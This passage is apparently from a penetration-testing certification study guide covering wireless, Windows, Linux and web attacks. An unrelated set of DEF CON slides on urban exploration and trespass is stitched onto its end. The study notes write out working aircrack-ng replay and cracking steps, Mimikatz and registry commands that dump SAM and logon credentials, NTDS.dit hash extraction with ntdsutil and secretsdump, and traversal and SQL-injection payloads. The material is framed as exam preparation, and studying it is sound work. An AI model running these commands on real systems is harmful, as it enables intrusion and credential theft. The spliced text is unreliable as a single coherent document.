o Requires a clear text protocol (e.g. TELNET/RLOGIN)
o Increasing TCP sequence numbers must be detected and guest (they are pseudo
random)
o Signing is not in use (e.g. SMB singing is not ENABLED)
o ARP Poison
o Send FIN packets to the target to disconnect the client
o Requires you to spoof IP and MA
o Tools include:
▪
Tsight
▪
Juggernaut
▪
Hunt
•
Browser Hijacking
o Cookie Sniffing (ARP Poison and HTTP session theft
o Session Fixation (Cookie is assigned before authentication)
o Failure to timeout the cookie of destroy the session
o Predictable sessions token
o Cross Site Scripting (XSS)
o Session Variable Overloading
•
Man-in-the-middle (MiTM) Attacks
•
Brute force Attacks
o Brute Force
o Dictionary
o Tools
▪
Aircrack-ng
▪
THC-Hyrda
▪
Medusa
▪
Patator
▪
John-The-Ripper
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 41
▪
Cain and Abel
▪
Hashcat
▪
L0phtcrack
▪
0phtcrack
▪
Metasploit
•
Denial of Service and Load Testing
o Deny Service
o Fail Open
•
Pass-The-Hash
o Requires us to get a copy of the NTLM/NTLMv2 HASH (not netNTLM)
•
VLAN Hopping
o MAC Table Overflow
o Trunk Ports
▪
Switch
▪
Client Side
o Tools
▪
Frogger
Network Protocol Exploits
SMB
Has been exploited for a long time!
•
MS06-087
•
EternalBlue (MS17-010)
•
Eternal Romance
•
Eternal Champion
•
Eternal Synergy
SNMP
•
Community String Defaults (v1 & v2)
o Public
o Private
•
Tools
o Hydra
o Medusa
o nmap
o BOF
o Metasploit
FTP
•
Tools
o Hydra
o Medusa
o Nmap
DNS
•
DNS Cache Poisoning
o Tools
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 42
▪
Ettercap
▪
Metasploit
▪
DNSChef
▪
ArpPwner
Name Resolution
•
NETBIOS
•
WINS
•
HOST Files
•
LLMNR Poisoning
o Tools
▪
Responder
•
Name Resolution Process (https://support.microsoft.com/en-gb/help/172218/microsoft-
tcp-ip-host-name-resolution-order)
o check hostname
o check hosts file
o checks DNS
o sends NETBIOS broadcast
Wireless Networks
Tools
•
Aircrack-ng
•
WIFI Pumpkin
•
Wifi Pineapple
Attacks and Techniques
•
Wireless Sniffing
•
WAP
•
Replay
•
WEP
•
Fragmentation
o PRGA Attack
•
Jamming
o Check the legality of running this attack
o De-Auth
o Tools
▪
Wifi Jammer Python Script
▪
Aircrack-ng
▪
Wireless Pineapple
•
Tools
o Aircrack-ng
•
Evil Twins
o Creation of an attacker owned network with the same SSID as the target
environment
o To detect use Wigle, Kismet, Airmon-ng etc.
▪
Tools
•
Wifi Pineapple
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 43
•
WPS Attacks
o WPS uses 7 characters
o It only checks the first 4 digits before checking the last 3
o The time to crack is very small
•
Bluetooth
o Bluejacking Attacks (around 30 feet range)
▪
Transmit images, messages, videos etc.
▪
Send contacts with spoofed contact names (the target sees the spoofed
name as a message)
▪
Can be used in connection with phishing/cred harvesting etc.
o BlueSnarfing
▪
Gather data
▪
OBEX Push Profile (OPP)
▪
OBEX GET
▪
Get files such as contacts etc.
o
Lab Activities
•
WAP Replay Attack
•
WPA2 Cracking
•
IRL: Bettercap
Replay Steps
airmon-ng check kill
#enable monitor mode (promiscuous)
airmon-ng start wlan0
airodump-ng wlan0mon
#Find a WPA network to replay
airodump-ng –bssid BSSIDMAC -c 6 –write output wlan0mon
#start the replay attack by authenticating (-1 = fake authentication)
aireplay-ng -1 0 -a BSSIDMAC -e SSIDName wlan0mon
#send ARP requests (type3)
aireplay-ng -3 -b BSSIDMAC wlan0mon
aireplay-ng -1 0 -a BSSIDMAC -e SSIDName wlan0mon
# this attack takes some time and requires other clients
#now we crack the hashes
aircrack-ng -b BSSIDMAC output-01.cap
Fragmentation Attacks
airmon-ng check kill
aireplay-ng -5 -b BSSIDMAC -e SSIDName -h SOURCEMAC wlan0 –write output
packetforce-ng -0 -a BSSIDMAC -h SOURCEMAC -y output-01.cap -w prgaOutput
aireplay-ng -r prgaOutput wlan0
Aircrack-ng
#enable monitor mode
airmon-ng
#enumerate
#kill network management services
airmon-ng check kill
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 44
#enable monitor mode
airmon-ng start wlan0
#monitor
airodump-ng wlan0mon
#run with output saved (csv, pcap etc.)
airodump-ng wlan0mon -w pwnWIFI
#RUN Airodump Scan Visualizer - https://github.com/pentesteracademy/airodump-scan-visualizer
#Load the CSV
Specialist Systems
Mobile Systems
•
Android
•
IOS
Industrial Control Systems (ICS) and SCADA (supervisory control and data acquisition)
ICS
•
Control Physical Devices
•
Tools
o ICSExploit
SCADA
Supervisory control and data acquisition
•
SCADA Manages ICS
Embedded Systems
•
Industrial Systems
Real -Time OS’s (RTOS)
Often does not include security features.
Internet of Things (IoT)
Mirai botnet created from DVRs and Baby Monitors etc.
•
Buffer Overflows
•
Command Injection
•
SQL injection
•
Syn Floods etc.
Point of Sale Systems
•
Tablets
•
Custom Devices
•
Payments taken (so PCI-DSS may be in scope)
•
Some powered by PIs etc.
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 45
Host based Exploitation
Exploiting hosts includes systems which include:
•
Windows
•
UNIX/LINUX (NIX)
•
MAC OSD (BSD Based)
•
Android
•
IOS
Linux Package Managers
•
Apt (Debian/Unbuntu) - Advanced Packaging Tool
•
Aptitude Package Manager (Debian/Ubuntu) (this is different to apt in that it’s a GUI)
•
Dpkg (Debian/Ubuntu)
•
yum (CENTOS) -Yellowdog Updater, Modified
•
yast (SUSE)
•
RPM (REDHAT LINUX) - Redhat package manager)
•
Pacman (Arch Linux)
Windows Systems and Vulnerabilities
•
Windows is written in a language based on C (this has no bounds checking which can lead to
vulnerabilities)
•
Requires developers to code securely
•
Closed Source (Source code is private)
•
Windows 10 is > 50 million lines of code
•
Reliant on Vendor for Patching (however 3rdn party micro patching is a thing)
Types of Vulnerability
•
Remote Code Execution
•
Buffer/Overflow
•
Denial of Service (DoS)
•
Memory Corruption
•
Privilege Escalation
•
Information Disclosure
•
Security Feature Bypasses (e.g. UAC Bypass)
Web Application Vulnerabilities
•
Cross Site Scripting (XSS)
•
Directory Traversal
•
XSRF (Cross site request forgery)
Go and see the OWASP top 10 https://owasp.org/www-project-top-ten/
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 46
Common Windows Exploit Examples
These are old vulnerabilities which might be useful for the exam, but it’s also good to know the
history of common vulnerabilities:
•
IIS 5.0 Unicode
•
IIS 5.0 WebDAV
•
RPC DCOM (MS08-067) Buffer Overflow RCE using RPC
•
SMB NetAPI
•
Null sessions
•
LM password hash weaknesses
More modern examples
•
MS17-010 (Eternal Blue etc.)
•
CVE-2018-8120
(https://www.rapid7.com/db/modules/exploit/windows/local/ms18_8120_win32k_prive
sc)
•
RDP Brute Force
•
ALPC Task scheduler Privilege Escalation (Cve-2019-0841)
•
Extraction of GPP Passwords
•
Extraction of passwords from unattended installation files
Dumping Hashes & Password Cracking
•
Hashes (stored in SAM database)
•
SYSKEY (Stored in the registry)
•
Active Directory Passwords
o Stored in NTDS.DIT
▪
MD4 (NT hash)
▪
LM
▪
DES_CBC_MD5
▪
AES256_CTS_HMAC_SHA1
▪
MD5 (WDIGEST)
▪
Reversable Encrypted Clear Text Password
•
Certificates
•
Kerberos Tickets
•
LSA Secrets
Techniques
•
Steal creds from files (e.g. GPP, SYSPREP)
•
Dump creds form running processes
•
Dump processes from memory (Hibernation files, VM memory files)
•
Dump creds from SAM
•
Dump creds from registry
•
Dump from NTDS.dit
•
Domain Controller Replication (Mimikatz/Impacket)
•
Keylogging
•
Social Engineering
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 47
Windows Credential Dumping
Dump the SAM
Registry export
Reg save hklm\sam samreg.hiv
Reg sve hklm\security securityreg.hiv
#read these using mimikatz
Mimikatz.exe
lsadump::sam samreg.hiv securityreg.hiv
Think about running mimikatz on an attacker owned system to avoid dropping to
disk or being detected/having to disable antivirus
Dumping Passwords Live
(run as admin)
Dump LogonPasswords
Mimikatz.exe
#enable debug privs
Priviledge::debug
#log to a file
Log mimilog.log
#dump logon passwords/hashes
sekurlsa::logonpasswords
Dump SAM File Kerberos Tickets
Mimikatz.exe
#enable debug privs
Priviledge::debug
#log to a file
Log mimilog.log
#dump logon passwords/hashes
token::elevate
lsadump::sam samreg.hiv securityreg.hiv
Dumping NTDS.DIT
Note: Here we need to create a COPY of ntds.dit (using shadowcopy, NTDS util or NinjaCopy etc. or
you can take this from a backup)
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1
#Copy the NTDS file and SYSTEM files from the target
#example of NTDSutil
ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q
#Extract hashes using PowerSploit
Get-ADDBAccount -All -DBPath ‘ntds.dit’ -BootKey SYSTEM
#Extract using Impacket
impacket-secretsdump -system SYSTEM -security SECURITY -ntds ntds.dit local
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 48
Common nix Vulnerabilities
•
Based on C
•
Open Source but development is inconsistent
•
Linux and Android allow sideloading
•
Common Vulnerabilities
o POODLE
o Heartbleed
o XSS/XSRF
o SQL Injection
o SMB Overflows
o Enumeration
LINUX
•
GNU is an operating system
•
Linux is a KERNEL (A component of the OS)
Common Exploits
https://www.exploit-db.com/
•
RET2LIBC
•
DirtyCow (Copy on Write)
•
Five Year Bug (2009)
•
Remote Root Flaw
•
Insecure SUDO configuration
•
Insecure SUDO binaries
•
Sticky bits
•
SUID BIT set
Password Cracking for LINUX
Credentials are stored
•
/etc/passwd
•
/etc/shadow
On older linux distros they were just stored in cleat text in /etc/passwd
•
Tools: Unshadow can be used
•
Meterpreter: hashdump
•
Mimipenguin (memory dump)
•
Password Hashes can be passed as well e.g. SAMBA
•
Key Logging
Password Hash Types (NIX)
$1 = MD5
$2a = Blowfish
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 49
$5 = SHAR-256
$6 = SHAR-512
Protocol Exploitation
Windows
•
Unnecessary Services
o IIS in Windows 2000
•
SMB 1.0 (Changed in Windows 10 Anniversary Build and greater)
•
Domain Account Password Caching
o 10 Domain Logins Cached
o Default accounts
▪
Administrator (SID starting “S-1-5-21” and ending “-500”)
▪
Guest (SID starting “S-1-5-21” and ending “-501”)
•
Weak Default Security Logging
NIX
•
User home permissions
•
World-readable and writeable directories/files
•
Insecure mount/export options
•
Service with weak default settings
•
Apps with weak default settings
Protocols and Services
Windows
•
Supports multiple protocols and configurations
•
Provides Software for most services (from Microsoft)
Linux
•
Supports multiple protocols and configurations
•
Depends on 3rd parties
LAB Activity
Windows
•
Install windows roles and features
o Install IIS
o Install NFS
Linux
•
Install Apache2
•
Install Terminator
Exploitation
Windows 7
•
Exploit MS17-010 in the lab using Metasploit
•
Exploit MS17-010 in the lab using python exploit
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 50
File Permissions and Exploitations
Windows
•
File Permissions (ACLS)
•
Share Permissions
•
Alternate Data Steams (ADS)
o Files have two steams
▪
Data
▪
Resource (You can hide data in ADS e.g. you could hide a binary inside a txt
file)
•
Unquoted Service Path Privilege Escalation
o Metasploit
o PowerSploit
•
DLL Hijacking
•
NTFS Encryption Bypass
•
SAM/SYSKEY offline attakcs
•
EFS
o Copying EFS to a network share will decrypt them
•
Bitlocker Exploits
Linux
•
Insecure Permissions
•
Sticky BIT
•
SUID BIT
•
GUID BIT
•
Symbolic Link/Broken Symbolic Link Exploitation
•
Secure Shell Escapes
Linux Sensitive Files
•
/etc/profile
•
/etc/hosts
•
/etc/resolv.conf
•
/etc/pam.d
•
~/.bash_profile
•
~/.bash_login
•
~/.profile
•
/home
Resources
https://gtfobins.github.io/
Kernel Vulnerabilities and Exploits
•
Privilege Escalation
•
DoS
Memory Vulnerabilities
•
RCE
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 51
•
DoS
•
Common Vulns
o Use-After-Free
o Buffer Overflow
Default Accounts
Windows
•
Administrator
•
Guest
•
KRBTGT
•
DefaultAccount
•
WDAGUtility
•
Defaultuser()
Linux (nix)
/etc/passwd
•
root
•
adm
•
nobody
•
sshd
•
lp
•
uucp
Sandboxes
Windows
•
Guest
•
Low Priv Users (e.g. IIS_USR)
•
Virtual Machines
•
Browser Sandboxes
•
Adobe Flash Sandbox
•
Containers
o Docker
o Hyper-V Containers
•
Mobile Apps
•
PDF and Documents
•
Antivirus Quarantine Features
•
Defender SmartScreen
•
Mail Program Sandboxes
Escape Techniques
•
Sleeps
•
Large Files
•
Polymorphic Malware
•
Rootkits/bootkits
•
Encryption
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 52
•
Logic Bombs
•
Archive Tools
•
Binary Packers
•
Network Fast Flux (Rotating IPs or jumping hosts)
•
Sandbox Detection/Evasion
MAC OS & IOS
OS X is based on BSD (unix)
https://www.cvedetails.com/product/156/Apple-Mac-Os-X.html?vendor_id=49
•
IOMobileFrameBuffer (IOS)
High Sierra
o Root access with NO password
•
Mactans
o USB attack
•
Jailbreaking IOS
o Keyraider
•
Thunderstrike
o Thunderbolt bootkit (OS 10 firmware device)
•
iCloud API vulnerabilities
•
MaControl Backdoor (OS X)
•
Graphic Driver Vulnerability (IOS)
Android
•
Theft
•
Lack of Encryption
•
Side-Loading Aps
•
Root devices
•
Weak or No Passwords
•
Biometric Bypass
•
SQLLite Injection
•
Excessive App Permissions
•
Insure application communications
•
No or disabled security tools e.g. Antivirus
•
Missing Patches/Out of Date Software
•
QuadRooter
o Qualcom Chipset Vulnerability
•
Certifi-Gate mRST flaw
o Allows sideloading (<Lolipop (5.1))
•
Stagefright MMS Privesc and RCE (<Lolipop (5.1))
•
Installer hijacking
•
TowelRoot (<Kitkat (4.4))
•
Cross-platform protocol vulnerabilities
o DirtyCow
o POODLE
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 53
Physical Attacks
•
Unencrypted Storage
•
Cold Boot Attacks
o Recover keys from RAM
•
Insecure Serial Console (with no authentication)
•
JTAG Access/Debugging
Common Cracking Tools
•
Hashcat
o Windows
o Linux
•
John The Ripper (John)
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 54
Attacking Applications and Web Applications
Common Protocols & Languages
•
HTTP
•
HTTPS
•
HTML
•
Javascript
•
SQL Databases
•
Frameworks
o Node.js
o Angular
o Django
•
Python
•
ASP/ASP.NET
•
PHP
Common Web Application Vulnerabilities
•
Weak security configurations (misconfigurations)
•
INJECTION
•
Broken Authentication
•
XSS
•
CSRF
•
Clickjacking
•
File inclusion
•
Weak coding practises
Common Misconfigurations
•
Rolling your own encryption
•
Legacy content
•
Debugging Modes Enabled
•
Unpatched Vulnerabilities/Using software with known vulnerabilities
•
Client-side processing
•
Default admin accounts
•
Insecure cookies
•
Directory Traversal
o Read or execute
o E.g. ../../../etc/passwd
o E.g. %2E%2E%2F/Windows/System32/cmd.exe
o Double Encoding
▪
%25 = %
•
%25E%25E%25FWindows/System32/cmd.exe
•
Null byte encoding %00
•
E.g. index.php?file=../../etc/passwd%00
o Test using
▪
BURP
▪
OWASP ZAP
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 55
LAB Tasks
•
Test out BURP
•
Test out OWASP ZAP
•
Try manual identification of a path traversal
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 56
Common Web Application Attacks
Authentication & Authorisation Attacks
•
Brute Force
•
Credential Stuffing
•
Weak Passwords
•
Session Hijacking
•
MiTM
•
XSS Cookie Theft
•
Bypass Authentication
•
Redirection Attack
•
ReturnURL attack (asp.net)
•
HTTP Parameter Pollution (HPP)
•
IDOR
Injection Attacks
•
Command Injection
•
SQLi
o Test using “’” in a form POST/GET request
o Logic injection: “’ or 1=1--;
HTML Injection
Inject HTML code e.g. inject links inject or embedded forms (e.g. clickjacking) into areas such as
forums etc.
Cross Site Scripting (XSS)
There are a few types of XSS:
•
Stored (persistent)
•
Reflected (reflects then executes)
•
Blind
•
DOM-based
An example of XSS = alert(‘This site is vulnerable to XSS!’);
Cross Site Request Forgery (XSRF)
Getting a user to interact with a URL against another site e.g. user visits phishing site, they click on a
link to the benign site, but an unwanted action occurs. E.g. adding extra quantities of items to a
shopping basket.
Clickjacking
Setting up an iframe on a malicious site to embed content to masquerade as a site. Can be used with
phishing or social engineering.
Other Vulnerabilities/Exploits
•
File Inclusions
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 57
•
Local File Inclusion
•
Remote File Inclusion
•
Insecure Direct Object Reference (IDOR)
•
Logic Errors
•
Timing Issues (Race Conditions)
•
No Error handling
•
Insecure Functions
•
Insecure APIs
•
Insecure Credential Storage/Transmission
•
Sensitive Information Disclosure
Lab Work
•
Learn to use SQLMAP
•
Run SQLMAP through BURP to understand how it works
•
Run a manual authentication bypass using SQL injection
•
Test manual exploitation using union selects
•
Test path traversal to read /etc/passwd
•
Demonstrate a self-reflected XSS alert
•
Demonstrate a stored XSS alert
•
Demonstrate using a stored XSS using BEEF
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 58
Source Code analysis and Compiled Apps
Static Code Analysis
Source code review while it’s not executing
•
Manual Source Code Review
•
Tool based review (SAST – Static Analysis Security Testing)
Dynamic Code Analysis
•
Dynamic (DAST)
Fuzzing
Fault injection. Random data is sent to the apps looking for crashes or unexpected responses.
Reverse Engineering
•
Debugging
o Immunity
o Ghidra
o WinDbg
o OllyDbg
o GDB
o IDA/IDA Pro
•
Decompiling
o Reverse the compiled binary and converting it to source code
▪
Hex-Rays IDA
▪
VB Decompile
▪
Delphi Decompiler
▪
CFF Explorer
▪
JetBrains DotPeek
•
Disassembly
o Translating machine code into Assembly Code
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 59
Post Exploitation
Enumeration
Once you have access to a target you will continue to enumerate (recon).
Lateral Movement
Pivoting
•
NetCAT
o Bind
o Reverse Shells
•
SSH
o SSHKeys
o AuthorizedHosts
•
VPN
•
Routing Tables
•
Metasploit Forwarder
Maintaining Persistence
•
Create a backdoor account
•
Create a service/daemon
•
Backdoors
•
VPNs
•
Scheduled Tasks/Cron Jobs
•
Login scripts, Login Tasks, Start-up Tasks etc.
•
Rootkits
o Firmware
o Kernel
o Filter Drivers
•
Implants
Evading Security Solutions & Anti-Forensics
•
Buffer Overflows
•
Memory Resident Malware
•
Packing
•
Virtual Machine Detection
•
Clearing Logs
o Whole Log
o Specific Log
•
Shredding Files
•
File Metadata Tampering
•
Log Tampering
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 60
Penetration Test Reporting
Key Areas
•
Categorisation
•
Prioritisation
•
Recommendations
Report Format
•
Executive Summary
•
Technical Findings
•
Recommendations
Considerations
•
People
•
Process
•
Technology
•
Customer Business Context
•
Customer Industry
Prioritising Findings
•
Likelihood
•
Impact
•
CVSS Score etc.
Authentication Recommendations
•
Don’t hardcode credentials in apps
•
Random SALT and HASH Passwords
•
Use strong encryption, avoid weak hashes
•
User secure transport e.g. do NOT use FTP, use FTPS/SFTP
•
Don’t use protocols that use weak ciphers
•
Avoid configurations that allow for downgrade attacks
•
Monitor unencrypted traffic
Authentication Recommendations
•
Use Multi-factor-authentication
o Something you know
o Something you have
o Something you are
•
Smart Cards, Smart Phone Apps, Key fobs (Like Yukikey), OTP keys (RSA)
Input and Output Sanitisation
•
Escape characters/Encoding to stop HTML being rendered
o E.g. htmlspecialchars() function of PHP
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 61
o HTML Sanitizers (Libraries)
▪
Java HTML
▪
.NET HTML Sanitizer
▪
HTML purifier
▪
SanitizeHelper for RUBY on Rails
o Convert HTML to mardown
o Prevent NULL Byte by removing the input manually (for older browsers)
Parametrisation of Queries (Declared Statements)
•
More effective at preventing SQLi
o Means the parameters are send to a pre-defined template
Hardware and Software Hardening
Consider:
•
Environment
•
Hardware
•
Software
Look at industry standards such as:
•
CIS Controls
•
ISO
•
NIST
•
SANS
Hardening Measures
•
Check with the vendor
•
Look at EAL/Common Criteria (Real world)
•
Ensure firmware and software are updated with updates from the vendor
•
Physical and/or network segmentation
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 62
Mobile Device Management (MDM)
•
Centralised Device and App Management
•
Similar systems (MAM)
•
Centrally deploy policies
MDM Features
•
PUSH OS, apps and firmware updates
•
Enrol and authenticate devices
•
Enforce Policies
•
Locate Devices
•
Deploy based on user profiles
•
Remote Wipe/Remote Lock
•
Send out PUSH notification
•
Remote Access
•
Deploy Containers
•
Encryption Control
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 63
Secure Software Development
•
Should follow SDLC (Secure Software Development Lifecycle) which incorporates security
throughout the entire lifecycle
Testing
•
Penetration Testing
•
Static Code Analysis
•
Fuzzing
•
Static Code Analysis
•
Vulnerability Management
•
Dependency Management
SDLC should be:
•
Clear and simple
•
Useful and Informative
•
East to incorporate
•
Extensible
•
Have as fewer dependencies as possible
•
Be concise
•
Use well-known and established techniques
•
Integrates with testing processes and harnesses
•
Aligns with business and design requirements
Planning
Analysis
Testing
Design
Implementation
Maintenance
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 64
Post-Report Delivery Actions
•
Data Normalization
o Format
o Structure
o Language
o Metrics and Measures
o Risk Ratings
▪
Impact x Likelihood
•
Report Structure
o Exec Summary
o Version Control
o Document Distribution
o Method
o Findings
o Conclusion
▪
Successes
▪
Failures
▪
Goal Assessment
o Supporting Evidence
•
Risk Appetite
o How hungry are the customer for accepting risk/residual risk?
▪
Compare risk of findings vs risk appetite/tolerance levels
o How much loss can be accepted?
o What are acceptable levels of availability/loss of availability?
•
Report Storage
o Encrypt at Rest
o Encrypt in Transit
o Access Control for authorised personnel only
o Store for a specific limited amount of time
•
Report Handling
o Destruction
•
Report Disposition
o Formal process of transferring the report to the customer and they then become
responsible for it
o Sign off by the authorised recipient
•
Post Engagement Clean up Tasks
o Removal of Access/Credentials
o Removal of Tools
•
Acceptance
•
Attestation of Findings
•
Lessons Learned
•
Follow Up Actions
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 65
Useful Exam Theory Links
Microsoft Threat Modelling
Step 1. Identify Assets
Step 2. Create an Architecture Overview
Step 3. Decompose the Application
Step 4. Identify the Threats
Step 5. Document the Threats
Step 6. Rate the Threats
https://docs.microsoft.com/en-us/previous-versions/msp-n-
p/ff648644(v=pandp.10)?redirectedfrom=MSDN
IEEE 802.11 Wireless Standard
https://en.wikipedia.org/wiki/IEEE_802.11
Random Stuff
C2 Frameworks
•
Covenant
•
C2
•
Cobalt Strike (Commercial)
•
Metasploit Pro
•
Core Impact
•
SharpC2
DNS Tunnelling
https://tools.kali.org/maintaining-access/dns2tcp
https://code.kryo.se/iodine/
https://github.com/iagox86/dnscat2
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 66
External Resources
The Cyber Mentor Courses on Udemy
https://www.thecybermentor.com/
https://twitter.com/thecybermentor
HackTheBox
https://www.hackthebox.eu/
TryHackMe
https://tryhackme.com/
Pluralsight
http://pluralsight.com
Penetration Testing
PUBLIC – Version 0.3
Copyright Xservus Limited
Page 67
Proctored Online Exam Details
https://home.pearsonvue.com/Documents/Technical-specifications/Online-Proctored/OP-
Advanced.aspx
Online Practise Questions - Free
https://searchsecurity.techtarget.com/quiz/CompTIA-PenTest-practice-test-questions-to-assess-
your-knowledge
Ordering Exam Vouchers
Vouchers Resellers
http://www.gracetechsolutions.com/
Windows Vulnerabilities
https://www.cvedetails.com/product/32238/Microsoft-Windows-10.html?vendor_id=26
https://www.cvedetails.com/product/739/Microsoft-Windows-Xp.html?vendor_id=26
OS X
https://www.cvedetails.com/product/156/Apple-Mac-Os-X.html?vendor_id=49
Resources & Useful Links
UAC Bypasses
https://medium.com/@z3roTrust/bypassing-windows-user-account-control-back-for-more-
dd5672c48600 | pdf |
Urban Exploration
- A Hacker’s View
phreakmonkey (K.C.)
mutantMandias (Mandias)
phreakmonkey.com
Latest Slides: http://phreakmonkey.com/dc16-ue.zip
DISCLAIMER
Urban Exploration can be dangerous.
Trespassing can get you arrested, jailed, or killed.
Falling great distances can kill you.
Exposure to asbestos, dangerous chemicals, lack of oxygen, fire, electricity, or
gang violence may be dangerous to your health.
Neither phreakmonkey nor mutantMandias advocate any behavior talked about,
written about, photographed, or implied in this presentation.
Neither phreakmonkey nor mutantMandias are lawyers, and nothing in this
presentation should be construed as legal advice.
Neither phreakmonkey or mutantMandias are physicians, and nothing in this
presentation should be construed as medical advice.
In fact, phreakmonkey and mutantMandias are both full of shit - and nothing in this presentation should be construed
as serious advice whatsoever.
Background:
What is Urban Exploration?
Urban Exploration is the practice of discovering, exploring,
and often photographing the more “off-beat” areas of
human civilization.
“This hobby consists of a lot more than just poking about in
abandoned buildings and storm drains and hanging out on
web boards trying to impress people. Being an urban
explorer is a whole way of looking at the world, where every
ladder, door, window, grate and hole in the ground is a
possible portal to adventure.”
- Jeff Chapman (“Ninjalicious”), 2004
What do we explore?
Civil Buildings:
Hospitals, Schools, Institutions
Industrial Buildings:
Factories, Transportation
Utilities & Infrastructure:
Steam Tunnels, Storm Drains, Utility Corridors
Residential
Hotels, High-rises, Houses (“Shanties”)
Elementary School, Atlanta, GA
Prison, Atlanta, GA
Paint Factory, Atlanta, GA
Rail Car Factory, Atlanta, GA
Steam Tunnels, Atlanta, GA
Terminology
What Hackers Say
'leet, uber
homeless person, bum
script kiddie
exploit, 'sploit
What Explorers Say
epic
urban camper, hobo
tourist
PoE
(point-of-entry)
The UrbEx Subculture
Jeff Chapman (“Ninjalicious”) coined “Urban
Exploration” & operated the zine “Infiltration”
from 1996 – 2005.
Several web communities have sprung up over
the last ten years.
UER.CA (mostly USA)
DegGi5.com (NE USA)
28dayslater.co.uk (UK)
Others...
Explorers vs. Tourists vs. Scenesters
Birds of a Feather
What Urban Explorers and Computer Hackers have in common
Perspective
"Behind-the-scenes" view of the word
Ability to look at things abstractly
Willing to use non-standard entry points
Secrecy
Built around a subculture with counterculture tendencies
Distrusting of newbies
Hesitant to allow outsiders in
Script Kiddies and Tourists
Gray Area Activities
Do you use your powers for good or for awesome?
Sense of "moral superiority" while engaging in legally
questionable behavior
... the latest technology
(pwned)
Birds of a Feather
What Urban Explorers and Computer Hackers have in common
Frighteningly similar lack of fashion sense.
Black t-shirts are the shiznit, yo!
Social Engineering
Incredibly effective in UrbEx and Hacking
Higher stakes (walking away vs. county lock-up)
Exploitation by others
Taggers vs. Website Defacers
Scrappers vs. Phishers
Drug labs, gangs, and k1dd1e-pr0n collectors.
(body by UrbEx)
Urban Explorers != Graffiti Artists
... but we do get to see some cool graffiti
damage done by copper thieves (aka scrappers)
So you want to be an explorer...
Safety
This is a hobby. We do it for fun. Dying is not fun.
Off-limits areas do not have to meet safety codes.
Abandoned buildings may not be structurally sound.
Hazardous materials may be present.
Hazardous people may be present.
In the basement of an abandoned building, no one can hear
you scream.
Urban Exploring can be dangerous, even if you do
everything right.
Structurally Sound?
Can you spot the warning signs?
How about here?
Safety: Rules to Live By
The "do list:"
Tell someone exactly where you are going, and check in later.
Carry a cellphone.
Carry as many flashlights as you need + 1.
Be very wary of water-damaged floors.
Move slowly; look, then move.
Wear well fitting, covering clothing that you won't mind tearing.
Wear waterproof, sturdy shoes or boots
Consider whether gloves, a mask, or other safety equipment are
appropriate.
Safety: Rules to Live By
The "don't list:"
Never explore alone.
Do not step/crawl/move where you can't see.
Do not put any body part you want to keep through a hole of jagged metal
or broken glass.
Do not climb anything unsturdy.
Do not move while looking through a camera.
Do not let doors close behind you without checking their openability from
both sides.
Do not touch, taste, or smell unusual substances to figure out what they
are.
What's odd about this picture?
Oops...
Safety: Health Hazards
Asbestos
There is no known "safe level" of asbestos exposure
Mesothelioma develops > 10 years later
Deadly
Asphyxiation
Enclosed spaces
Subterranean spaces
Often, no indications of "bad air" until you pass out
Disease Exposure
Pigeon / Rat / Animal waste
Human Waste
Tetanus, Hepatitis A & B are all preventable with vaccines.
Chemical Exposure
PCBs, acids, toxic waste all may be present in industrial locations
Research the facility before you enter the premesis
Wear protective clothing or masks when appropriate.
"Investigation Derived Waste" ... yummy!
To proceed, or not to proceed...
Legality*
Trespass laws vary state by state. Look up the local laws!
There is nothing wrong with getting permission!
Don't break the law! Avoid:
Theft
Vandalism
Breaking and Entering
Possession of Burglary Tools
The appearance of any of the above
Disregarding these rules not only puts you at risk, but makes
life harder for the "legitimate" explorers.
*Disclaimer: I am not a lawyer, and nothing in this presentation is intended to be legal advice. If in doubt, consult an attorney.
No Lock Picks!
City Hall East (former Sears Warehouse), Atlanta, GA
City Hall East, Atlanta, GA
"Atlanta Assembly" Automobile Plant, Hapeville, GA
Aircraft Graveyard, North Carolina
When to Never Trespass
We don't advocate trespassing. That being stated, there are certainly
some "gray areas" when it's hard to determine whether you are
trespassing or not. The following are not examples of those times.
Do not trespass:
On or adjacent to airport property.
On or adjacent to active US military property.
On active US Federal Government facilities or property.
On active infrastructure or utilities (waterworks, electricity, &etc)
Very special consideration (or permission ) should be granted to:
Financial institution property, former military or government property,
casino property , &etc.
This is not an all-inclusive list. Use your head!
Some signs are to be taken seriously...
Stealth
Appearance
Dress to look convincing , not cool.
Walk & act "casual, but confident."
Credibility Props - coined by Ninjalicious.
Alone vs. small groups vs. big groups
Be aware of your visibility and act accordingly.
Parking
What to do when confronted.
Introduce yourself first.
Be friendly and non-confrontational.
Offer to leave peacefully.
Oddly "I'm geocaching" is never a better proposition.
Do No Harm
Subscribe to the Sierra Club motto:
